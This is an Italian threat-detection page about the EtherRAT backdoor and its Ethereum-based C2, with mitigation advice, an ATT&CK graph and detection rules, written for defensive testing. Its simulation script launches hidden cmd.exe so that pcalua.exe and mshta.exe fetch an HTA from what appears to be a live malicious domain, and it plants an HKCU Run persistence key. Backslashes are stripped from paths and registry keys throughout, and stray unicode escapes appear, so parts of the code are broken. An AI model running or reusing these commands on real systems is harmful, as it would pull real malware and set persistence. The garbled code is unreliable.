EtherRAT & Modulo SYS_INFO: C2 su Ethereum (EtherHiding), Selezione del Target, Beacon Simile a CDN
Detection stack
- AIDR
- Alert
- ETL
- Query
Riassunto
EtherRAT è una backdoor Node.js che risolve i suoi endpoint di comando e controllo dai smart contract Ethereum utilizzando un approccio “EtherHiding”. Si integra nel normale traffico web modellando i beacon per assomigliare a richieste CDN benigne, concentrandosi su dati di alto valore come portafogli di criptovalute e credenziali cloud. L’accesso iniziale è comunemente guidato da ingegneria sociale in stile ClickFix o esche falso supporto IT che attivano l’esecuzione di HTA malevoli tramite pcalua.exe e mshta.exe.
Indagine
Il Threat Response Unit di eSentire ha osservato una catena di caricamento a più stadi che include un flusso di lavoro di decrittazione AES-256-CBC, persistenza tramite un valore di registro HKCU Run e un modulo SYS_INFO responsabile di un ampio profiling dell’host. EtherRAT si collega a diversi fornitori pubblici di RPC Ethereum per individuare il relativo smart contract, poi deriva URL simili a CDN e li interroga per incarichi e comandi successivi, rafforzando il suo travestimento di “traffico legittimo”.
Mitigazione
Utilizza AppLocker o WDAC per bloccare o controllare rigorosamente pcalua.exe e mshta.exe, e limita la finestra di dialogo Esegui di Windows tramite Group Policy. Laddove possibile, limita o blocca l’accesso all’infrastruttura RPC crypto pubblica nota e attiva un avviso su utilizzi inaspettati di RPC Ethereum da endpoint che non ne hanno bisogno. Implementa controlli degli endpoint che possono rilevare backdoor basate su Node.js e monitorare modelli anomali di beaconing che imitano il comportamento di fetch dei CDN verso domini identificati.
Risposta
Se viene rilevata attività di EtherRAT, isola l’endpoint, termina il processo in esecuzione e rimuove la voce di persistenza HKCU Run insieme a eventuali artefatti scaricati. Effettua una sweep forense completa per confermare che non siano stati messi in scena payload aggiuntivi e ruota le credenziali esposte—dando priorità ai segreti dei portafogli di criptovalute e alle chiavi di servizio cloud. Amplia la ricerca su tutto l’ambiente per consultazioni simili di RPC Ethereum e comportamenti di polling simili a CDN per determinare la potenziale diffusione.
"graph TB %% Class definitions classDef technique fill:#ffcc99 classDef tool fill:#c2c2f0 classDef process fill:#99ff99 classDef malware fill:#ff9999 classDef operator fill:#ff9900 %% Nodes u2013 Techniques tech_initial_access["<b>Tecnica</b> – <b>T1218.005 Esecuzione del Proxy Binario di Sistema</b><br/>pcalua.exe avvia mshta.exe per scaricare ed eseguire HTA malevoli"] class tech_initial_access technique tech_indirect_cmd_exec["<b>Tecnica</b> – <b>T1202 Esecuzione Indiretta di Comandi</b><br/>Offusca la linea di comando per invocare altri binari"] class tech_indirect_cmd_exec technique tech_cmd_shell["<b>Tecnica</b> – <b>T1059.003 Interprete di Comando e Script: Windows Command Shell</b><br/>Esegue comandi PowerShell e reg per il fingerprinting"] class tech_cmd_shell technique tech_persistence["<b>Tecnica</b> – <b>T1546.007 Netsh Helper DLL</b> e <b>T1037.004 Script RC</b><br/>Crea una chiave di esecuzione HKCU Run avviando conhost.exe node.exe senza testa"] class tech_persistence technique tech_defense_evasion["<b>Tecnica</b> – <b>T1027 File o Informazioni Offuscati</b> con sottou2011tecniche Codice Polimorfico, Risoluzione Dinamica delle API, Payload Incorporati, Deoffuscare/Decodifica"] class tech_defense_evasion technique tech_c2_resolver["<b>Tecnica</b> – <b>T1102.001 Risolutore di Dead Drop</b><br/>Recupera l’indirizzo C2 da un smart contract Ethereum"] class tech_c2_resolver technique tech_c2_comm["<b>Tecnica</b> – <b>T1102 Servizio Web</b> con comunicazione bidirezionale (T1102.002) e unau2011via (T1102.003)<br/>Le richieste HTTPS imitano il traffico CDN"] class tech_c2_comm technique tech_collection["<b>Tecnica</b> – <b>T1602.002 Dump delle Configurazioni dei Dispositivi di Rete</b><br/>Raccoglie file di sistema operativo, hardware, rete, AV, portafogli di criptovalute e credenziali cloud"] class tech_collection technique tech_exfiltration["<b>Tecnica</b> – <b>T1041 Esfiltrazione Attraverso Canale C2</b><br/>Invia i dati raccolti indietro attraverso lo stesso canale HTTPS"] class tech_exfiltration technique tech_impact_hijack["<b>Tecnica</b> – <b>T1496.001 Furto Calcolatore</b><br/>Ruba file dei portafogli di criptovalute"] class tech_impact_hijack technique tech_impact_cloud["<b>Tecnica</b> – <b>T1537 Trasferimento dei Dati su Account Cloud</b><br/>Carica credenziali su uno storage cloud"] class tech_impact_cloud technique tech_software_ext["<b>Tecnica</b> – <b>T1176 Estensioni Software</b> e <b>T1505.004 Componenti IIS</b><br/>Scarica il runtime Node.js e moduli aggiuntivi"] class tech_software_ext technique tech_lateral["<b>Tecnica</b> – <b>T1080 Contenuti Condivisi Contaminati</b><br/>Scarica payload/moduli ulteriori da server remoti"] class tech_lateral technique %% Nodes u2013 Tools tool_pcalua["<b>Strumento</b> – <b>Nome</b>: pcalua.exe<br/><b>Descrizione</b>: Installatore Autonomo di Windows Update utilizzato come proxy"] class tool_pcalua tool tool_cmd["<b>Strumento</b> – <b>Nome</b>: cmd.exe<br/><b>Descrizione</b>: Shell di comando Windows con offuscamento dei trattini"] class tool_cmd tool tool_ethereum["<b>Strumento</b> – <b>Nome</b>: Fornitore di RPC Ethereum<br/><b>Descrizione</b>: Endpoint pubblici RPC utilizzati per eseguire query sul smart contract"] class tool_ethereum tool tool_nodejs["<b>Strumento</b> – <b>Nome</b>: Runtime Node.js<br/><b>Descrizione</b>: Esegue moduli aggiuntivi scaricati da C2"] class tool_nodejs tool %% Nodes u2013 Processes process_mshta["<b>Processo</b> – <b>Nome</b>: mshta.exe<br/><b>Descrizione</b>: Esegue file HTA"] class process_mshta process process_powershell["<b>Processo</b> – <b>Nome</b>: powershell.exe<br/><b>Descrizione</b>: Esegue script PowerShell per il fingerprinting del sistema"] class process_powershell process process_conhost["<b>Processo</b> – <b>Nome</b>: conhost.exe<br/><b>Descrizione</b>: Processo Host utilizzato per avviare node.exe senza testa"] class process_conhost process process_https["<b>Processo</b> – <b>Nome</b>: Client HTTPS<br/><b>Descrizione</b>: Invia richieste come /api/<hex>/<UUID>.ico imitando il traffico CDN"] class process_https process process_remote_download["<b>Processo</b> – <b>Nome</b>: downloader<br/><b>Descrizione</b>: Recupera payload aggiuntivi da server remoti"] class process_remote_download process %% Nodes u2013 Malware malware_obfuscator["<b>Malware</b> – <b>Nome</b>: Payload generato da Obfuscator.io<br/><b>Descrizione</b>: Fasi crittografate AESu2011256u2011CBC con codice polimorfico"] class malware_obfuscator malware %% Connections tech_initial_access –>|utilizza| tool_pcalua tool_pcalua –>|avvia| process_mshta process_mshta –>|scarica| "shep.hta" tech_initial_access –>|porta a| tech_indirect_cmd_exec tech_indirect_cmd_exec –>|utilizza| tool_cmd tool_cmd –>|invoca| process_powershell process_powershell –>|esegue| tech_cmd_shell tech_cmd_shell –>|abilita| tech_persistence tech_persistence –>|crea| process_conhost process_conhost –>|avvia| tool_nodejs tech_defense_evasion –>|si applica a| malware_obfuscator malware_obfuscator –>|fornisce payload per| tool_nodejs tech_c2_resolver –>|recupera l’indirizzo tramite| tool_ethereum tool_ethereum –>|esegue query su| "smart contract Ethereum" tech_c2_comm –>|comunica su| process_https process_https –>|trasferisce dati a| tech_collection tech_collection –>|dati esfiltrati tramite| tech_exfiltration tech_exfiltration –>|consegna a| tech_impact_hijack tech_exfiltration –>|consegna a| tech_impact_cloud tech_software_ext –>|scarica| tool_nodejs tool_nodejs –>|abilita| tech_lateral tech_lateral –>|scarica| process_remote_download "
Attacco Flusso
Rilevamenti
LOLBAS Pcalua (via cmdline)
Vista
Processi Lolbin che Creano File (via file_event)
Vista
MsiExec Generato da Processo Shell (via cmdline)
Vista
LOLBAS Conhost (via cmdline)
Vista
Comportamento di Evasione della Difesa MSHTA LOLBAS Sospetto tramite Rilevamento di Comandi Associati (via process_creation)
Vista
Tentativi di Comunicazioni di Lookup di Dominio IP Possibili (via dns)
Vista
Enumeration / Manipolazione di Account o Gruppi Possibili (via cmdline)
Vista
Uso di CURL Sospetto (via cmdline)
Vista
Rilevamento Probabile dell’Ambiente di Virtualizzazione di Windows usato WMI (via cmdline)
Vista
Punti di Persistenza Possibili [ASEPs – Hive Software/NTUSER] (via cmdline)
Vista
Controlli di Evasione Possibili (via powershell)
Vista
Obfuscazione della Linea di Comando Possibile usando Carets (via cmdline)
Vista
Enumerazione di Software Antivirus o Firewall Possibili (via process_creation)
Vista
Scoperta Informazioni di Sistema Linux (via cmdline)
Vista
IOC (IP di Origine) per rilevare: EtherRAT & Modulo SYS_INFO: C2 su Ethereum (EtherHiding), Selezione del Target, Beacon Simil-CND
Vista
IOC (IP di Destinazione) per rilevare: EtherRAT & Modulo SYS_INFO: C2 su Ethereum (EtherHiding), Selezione del Target, Beacon Simil-CND
Vista
IOC (HashSha256) per rilevare: EtherRAT & Modulo SYS_INFO: C2 su Ethereum (EtherHiding), Selezione del Target, Beacon Simil-CND
Vista
Rileva Accesso Iniziale EtherRAT tramite ClickFix ed Esecuzione Indiretta di Comandi [Creazione di Processi Windows]
Vista
Esecuzione Simulazione
Prerequisito: La Verifica Pre‑volo di Telemetria & Baseline deve essere superata.
Motivazione: Questa sezione dettaglia l’esecuzione precisa della tecnica dell’avversario (TTP) progettata per attivare la regola di rilevamento. I comandi e la narrazione DEVONO riflettere direttamente I TTP identificati e mirare a generare esattamente la telemetria attesa dalla logica di rilevamento. Esempi astratti o non correlati porteranno a diagnosi errate.
-
Narrazione dell’Attacco & Comandi:
- Accesso Iniziale – ClickFix Dropper: L’attaccante sfrutta un ClickFix installer malevolo che esegue nascosto
cmd.exeche chiamapcalua.exe. - Esecuzione Indiretta:
pcalua.exeè istruito ad avviaremshta.execontro un file HTA remoto ospitato suhttps://www‑flow‑submission‑management.shepherdsestates.uk/shep.hta. Questo script HTA carica il payload EtherRAT. - Setup della Persistenza: Il dropper aggiunge un
Runvalore di registro sottoHKCUSoftwareMicrosoftWindowsCurrentVersionRunpuntando a una catena diconhost.exe→node.exeesecuzione, assicurando che il malware si avvii al login dell’utente. - Ricognizione di Dominio: In parallelo, un comando PowerShell one‑liner è eseguito per leggere il nome del dominio della macchina, segnalando all’attaccante che l’host è collegato al dominio.
Tutti e tre i comandi della linea di comando sono eseguiti da un’unica istanza nascosta
cmd.exe, corrispondente alla regola Sigmaindicatore1/indicatore2orindicatore3combinazione. - Accesso Iniziale – ClickFix Dropper: L’attaccante sfrutta un ClickFix installer malevolo che esegue nascosto
-
Script di Test Regression: Lo script sottostante riproduce esattamente le linee di comando (i percorsi specifici dell’utente sono risolti tramite variabili ambientali).
# ------------------------------------------------------------- # Simulazione Accesso Iniziale EtherRAT – wrapper PowerShell # ------------------------------------------------------------- $username = $env:USERNAME $htaUrl = "https://www-flow-submission-management.shepherdsestates.uk/shep.hta" $runKeyPath = 'HKCU:SoftwareMicrosoftWindowsCurrentVersionRun' $runValueName = '0c939bf7ae8f' $conhostPath = "$env:WINDIRSystem32conhost.exe" $nodePath = "C:Users$usernameAppDataLocalVZM5DHxgYbxqnode.exe" $payloadBin = "C:Users$usernameAppDataLocalVZM5DHTlHAiIlxoF.bin" # 1. Indicatore 1 – pcalua -> mshta $cmd1 = "C:Windowssystem32cmd.exe /min /c `"pcalua.exe -a mshta.exe -c $htaUrl`"" Start-Process -FilePath "C:Windowssystem32cmd.exe" -ArgumentList "/min /c `"pcalua.exe -a mshta.exe -c $htaUrl`"" -WindowStyle Hidden # 2. Indicatore 2 – Chiave di registrazione Run con catena conhost $regCommand = "reg add `"HKCUSoftwareMicrosoftWindowsCurrentVersionRun`" /v `"$runValueName`" /t REG_SZ /d `"$conhostPath --headless `"$nodePath`" `"$payloadBin`"`" /f" $cmd2 = "C:Windowssystem32cmd.exe /d /s /c `"$regCommand`"" Start-Process -FilePath "C:Windowssystem32cmd.exe" -ArgumentList "/d /s /c `"$regCommand`"" -WindowStyle Hidden # 3. Indicatore 3 – Query dominio PowerShell $psCommand = "powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command `"(Get-WmiObject Win32_ComputerSystem).Domain`"" $cmd3 = "C:Windowssystem32cmd.exe /d /s /c `"$psCommand`"" Start-Process -FilePath "C:Windowssystem32cmd.exe" -ArgumentList "/d /s /c `"$psCommand`"" -WindowStyle Hidden Write-Host "`n[+] Comandi di simulazione emessi. Verifica SIEM per avvisi corrispondenti." -
Comandi di Cleanup: Rimuovi la voce di registro ed elimina eventuali file creati dalla simulazione.
# ------------------------------------------------------------- # Cleanup – rimuovi chiavi Run e file temporanei # ------------------------------------------------------------- $runKeyPath = 'HKCU:SoftwareMicrosoftWindowsCurrentVersionRun' $runValueName = '0c939bf7ae8f' # Elimina il valore della chiave Run if (Test-Path $runKeyPath) { Remove-ItemProperty -Path $runKeyPath -Name $runValueName -ErrorAction SilentlyContinue Write-Host "[+] Chiave Run di registro $runValueName rimossa" } # Rimuovi eventuali file residui (se creati) $paths = @( "$env:TEMPbenign.txt" # dal baseline (opzionale) ) foreach ($p in $paths) { if (Test-Path $p) { Remove-Item $p -Force } } Write-Host "[+] Pulizia completata."